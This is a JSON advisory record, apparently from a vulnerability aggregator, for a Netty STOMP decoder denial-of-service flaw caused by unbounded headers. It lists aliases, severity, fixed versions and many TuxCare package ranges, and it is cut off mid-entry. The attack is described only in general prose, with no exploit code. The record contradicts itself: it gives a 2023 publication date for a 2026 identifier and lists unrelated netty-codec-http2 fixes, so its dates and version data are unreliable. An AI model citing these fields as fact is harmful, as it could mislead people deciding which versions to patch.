{"id":"CVE-2026-44891","aliases":["CLSA-2026-1787045999","CLSA-2026-1787049848","CLSA-2026-1787271464","CLSA-2026-1787301097","CLSA-2026-1787306632","CLSA-2026-1787309634","CLSA-2026-1787331164","CLSA-2026-1787333890","CLSA-2026-1787383378","CLSA-2026-1787397404","CLSA-2026-1789379074","DEBIAN-CVE-2026-44891","EUVD-2026-45316","GHSA-vhch-2wf3-m8rp","GHSA-xpw8-rcwv-8f8p","RHLW-2026-b66720d53a6e2ba6","ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","SUSE-SU-2026:3482-1","UBUNTU-CVE-2026-44891","openSUSE-SU-2026:11394-1"],"status":"published","title":"Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.stomp.StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, and the maxLineLength parameter only restricts individual header lines. An attacker can send a large number of short headers that are accumulated in memory inside DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError, causing denial of service for servers exposing a STOMP endpoint based on StompSubframeDecoder. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00728,"percentile":0.54688,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-770"],"published":"2023-10-10T22:22:54Z","modified":"2026-11-10T19:58:30Z","fixes":[{"ecosystem":"Maven","package":"io.netty:netty-codec-stomp","fixed_in":["4.2.16.Final","4.1.136.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.100.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-root.io.1","4.1.97.Final-root.io.2","4.1.97.Final-root.io.3","4.1.97.Final-root.io.4","4.1.97.Final-root.io.5","4.1.97.Final-root.io.6","4.1.97.Final-root.io.7"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-aikido.7"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"last_affected":"4.2.15.Final"},{"fixed":"4.2.16.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"4.1.135.Final"},{"fixed":"4.1.136.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-rxtx","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-sctp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-udt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-dev-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-example","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-handler-ssl-ocsp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-microbench","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-parent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-classes-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-resolver-dns-native-macos","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-autobahn","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-native-image-client-runtime-init","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-osgi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-testsuite-shading","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-blockhound-tests","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-classes-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-epoll","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-kqueue","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-transport-native-unix-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.130.Final"},{"fixed":"4.1.130.Final-tuxcare.3"}]}],"versions":["4.1.130.Final","4.1.130.Final-tuxcare.1","4.1.130.Final-tuxcare.2"],"bundled":21},{"source":"osv","ecosys